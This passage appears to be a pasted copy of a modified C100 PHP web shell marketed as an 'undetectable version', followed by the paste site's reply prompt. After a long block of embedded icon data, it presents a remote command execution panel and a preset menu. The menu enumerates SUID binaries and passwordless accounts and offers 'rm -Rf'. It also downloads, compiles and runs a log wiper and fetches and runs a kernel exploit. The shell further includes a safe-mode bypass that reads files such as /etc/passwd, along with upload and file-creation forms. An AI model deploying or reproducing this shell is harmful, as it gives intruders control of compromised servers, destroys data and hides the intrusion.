  2834. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  2835. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  2836. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  2837. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2838. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2839. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2840. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  2841. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  2842. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  2843. "RYtMAgEAOw==",
  2844. "ext_cmd"=>
  2845. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  2846. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  2847. "dmrYAMn1onq/YKpjvEgAADs=",
  2848. "ext_cpp"=>
  2849. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  2850. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  2851. "Eq7YrLDE7a4SADs=",
  2852. "ext_ini"=>
  2853. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  2854. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  2855. "SnEjgPVarHEHgrB43JvszsQEADs=",
  2856. "ext_diz"=>
  2857. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  2858. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  2859. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  2860. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  2861. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  2862. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  2863. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  2864. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  2865. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2866. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2867. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2868. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2869. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2870. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2871. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  2872. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  2873. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  2874. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  2875. "Ow==",
  2876. "ext_doc"=>
  2877. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  2878. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  2879. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  2880. "ext_exe"=>
  2881. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  2882. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  2883. "xhIAOw==",
  2884. "ext_h"=>
  2885. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  2886. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  2887. "Wq/NknbbSgAAOw==",
  2888. "ext_hpp"=>
  2889. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  2890. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  2891. "UqUagnbLdZa+YFcCADs=",
  2892. "ext_htaccess"=>
  2893. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  2894. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  2895. "AAA7",
  2896. "ext_html"=>
  2897. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  2898. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  2899. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  2900. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  2901. "ADs=",
  2902. "ext_jpg"=>
  2903. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  2904. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  2905. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  2906. "FxEAOw==",
  2907. "ext_js"=>
  2908. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  2909. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  2910. "a00AjYYBbc/o9HjNniUAADs=",
  2911. "ext_lnk"=>
  2912. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  2913. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  2914. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  2915. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  2916. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  2917. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2918. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2919. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  2920. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  2921. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  2922. "ADs=",
  2923. "ext_log"=>
  2924. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  2925. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  2926. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  2927. "ext_php"=>
  2928. "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
  2929. "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
  2930. "ext_pl"=>
  2931. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  2932. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  2933. "ext_swf"=>
  2934. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  2935. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2936. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  2937. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  2938. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  2939. "ext_tar"=>
  2940. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  2941. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  2942. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  2943. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  2944. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2945. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2946. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2947. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  2948. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  2949. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  2950. "u4tLAgEAOw==",
  2951. "ext_txt"=>
  2952. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  2953. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  2954. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  2955. "ext_wri"=>
  2956. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  2957. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  2958. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  2959. "ext_xml"=>
  2960. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  2961. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2962. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  2963. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  2964. "IQA7"
  2965.  );
  2966.  //For simple size- and speed-optimization.
  2967.  $imgequals = array(
  2968.   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  2969.   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  2970.   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  2971.   "ext_html"=>array("ext_html","ext_htm"),
  2972.   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  2973.   "ext_lnk"=>array("ext_lnk","ext_url"),
  2974.   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  2975.   "ext_doc"=>array("ext_doc","ext_dot"),
  2976.   "ext_js"=>array("ext_js","ext_vbs"),
  2977.   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  2978.   "ext_wri"=>array("ext_wri","ext_rtf"),
  2979.   "ext_swf"=>array("ext_swf","ext_fla"),
  2980.   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  2981.   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  2982.  );
  2983.  if (!$getall)
  2984.  {
  2985.   header("Content-type: image/gif");
  2986.   header("Cache-control: public");
  2987.   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  2988.   header("Cache-control: max-age=".(60*60*24*7));
  2989.   header("Last-Modified: ".date("r",filemtime(__FILE__)));
  2990.   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  2991.   if (empty($images[$img])) {$img = "small_unk";}
  2992.   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  2993.   echo base64_decode($images[$img]);
  2994.  }
  2995.  else
  2996.  {
  2997.   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  2998.   natsort($images);
  2999.   $k = array_keys($images);
  3000.   echo  "<center>";
  3001.   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  3002.   echo "</center>";
  3003.  }
  3004.  exit;
  3005. }
  3006. if ($act == "about") {echo "<center>Undetectable version by <br> Spyk1r4 <br> <img src=\"http://emp3ror.com/images/emplogo1.gif\"></center>";}
  3007. ?>
  3008. </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
  3009. <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
  3010. <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
  3011. <br>
  3012. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
  3013. <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr>
  3014. <tr>
  3015.   <td width="50%" height="83" valign="top"><center>
  3016.     <div align="center">Useful Commands
  3017.     </div>
  3018.     <form action="<?php echo $surl; ?>">
  3019.       <div align="center">
  3020.         <input type=hidden name=act value="cmd">
  3021.         <input type=hidden name="d" value="<?php echo $dispd; ?>">
  3022.           <SELECT NAME="cmd">
  3023.             <OPTION VALUE="uname -a">Kernel version
  3024.               <OPTION VALUE="w">Logged in users
  3025.                 <OPTION VALUE="lastlog">Last to connect
  3026.                   <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
  3027.                     <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
  3028.                     <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
  3029.                     <OPTION VALUE="which wget curl w3m lynx">Downloaders?
  3030.                     <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
  3031.                     <OPTION VALUE="netstat -atup | grep IST">Open ports
  3032.                     <OPTION VALUE="locate gcc">gcc installed?
  3033.                                         <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
  3034.                     <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
  3035.                     <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
  3036.                     <OPTION VALUE="./zap2">WIPELOGS PT3
  3037.                     <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed)
  3038.                     <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)
  3039.                     <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)
  3040.                     <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)
  3041.                     <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)
  3042.                     <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)
  3043.                   </SELECT>
  3044.         <input type=hidden name="cmd_txt" value="1">
  3045.         &nbsp;
  3046.         <input type=submit name=submit value="Execute">
  3047.           <br>
  3048.         Warning. Kernel may be alerted using higher levels </div>
  3049.     </form>
  3050.     </td>
  3051.   <td width="50%" height="83" valign="top"><center>
  3052.    <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search">
  3053.       <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>">
  3054.       <input type="hidden" name="client" value="firefox-a">
  3055.           <input type="hidden" name="rls" value="org.mozilla:en-US:official">
  3056.           <input type="hidden" name="hl" value="en">
  3057.           <input type="hidden" name="hs" value="b7p">
  3058.           <input type=submit name="btnG" VALUE="Search">
  3059.     </form></center>
  3060.     </td>
  3061. </tr></TABLE><br>
  3062. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
  3063. <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr>
  3064. <tr>
  3065.   <td width="50%" height="83" valign="top"><center>
  3066.     <div align="center">Php Safe-Mode Bypass (Read Files)
  3067.     </div><br>
  3068.     <form action="<?php echo $surl; ?>">
  3069.       <div align="center">
  3070.       File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br>
  3071.      
  3072.      
  3073.      
  3074.            
  3075.      
  3076.      
  3077.       <?
  3078.      
  3079.       function rsg_read()
  3080.         {      
  3081.         $test="";
  3082.         $temp=tempnam($test, "cx");
  3083.         $file=$_GET['file'];   
  3084.         $get=htmlspecialchars($file);
  3085.         echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>";
  3086.         if(copy("compress.zlib://".$file, $temp)){
  3087.         $fichier = fopen($temp, "r");
  3088.         $action = fread($fichier, filesize($temp));
  3089.         fclose($fichier);
  3090.         $source=htmlspecialchars($action);
  3091.         echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>";
  3092.         unlink($temp);
  3093.         } else {
  3094.         die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
  3095.         <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
  3096.         access.</CENTER></FONT>");
  3097.                         }
  3098.         echo "</div>";
  3099.         }
  3100.        
  3101.         if(isset($_GET['file']))
  3102. {
  3103. rsg_read();
  3104. }
  3105.        
  3106.         ?>
  3107.        
  3108.         <?
  3109.        
  3110.         function rsg_glob()
  3111. {
  3112. $chemin=$_GET['directory'];
  3113. $files = glob("$chemin*");
  3114. echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>";
  3115. foreach ($files as $filename) {
  3116.         echo "<pre>";
  3117.    echo "$filename\n";
  3118.    echo "</pre>";
  3119. }
  3120. }
  3121.  
  3122. if(isset($_GET['directory']))
  3123. {
  3124. rsg_glob();
  3125. }
  3126.  
  3127. ?>
  3128.  
  3129.           <br>
  3130.       </div>
  3131.     </form>
  3132.     </td>
  3133.   <td width="50%" height="83" valign="top"><center>
  3134.    <center>Php Safe-Mode Bypass (List Directories):     <form action="<?php echo $surl; ?>">
  3135.       <div align="center"><br>
  3136.       Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br>
  3137.  
  3138.     </form></center>
  3139.     </td>
  3140. </tr></TABLE><br>
  3141. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
  3142. <tr>
  3143.  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
  3144.  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
  3145. </tr>
  3146. </table>
  3147. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
  3148. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
  3149. <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ Shell [ci] . Biz <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> K1r4 @ gmail. com| <a href="http://emp3ror.com"><font color="#FF0000">Emp3ror Team</font></a> <a href="http://www.hackerbox.net"><font color="#FF0000">c100.txt</font></a> <a href="http://www.hackerbox.net"><font color="#FF0000">c100 Shell</font></a> <font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
  3150. </body></html><?php chdir($lastdir); exit(); ?>

Reply to "C100 PHP "

Here you can reply to the paste above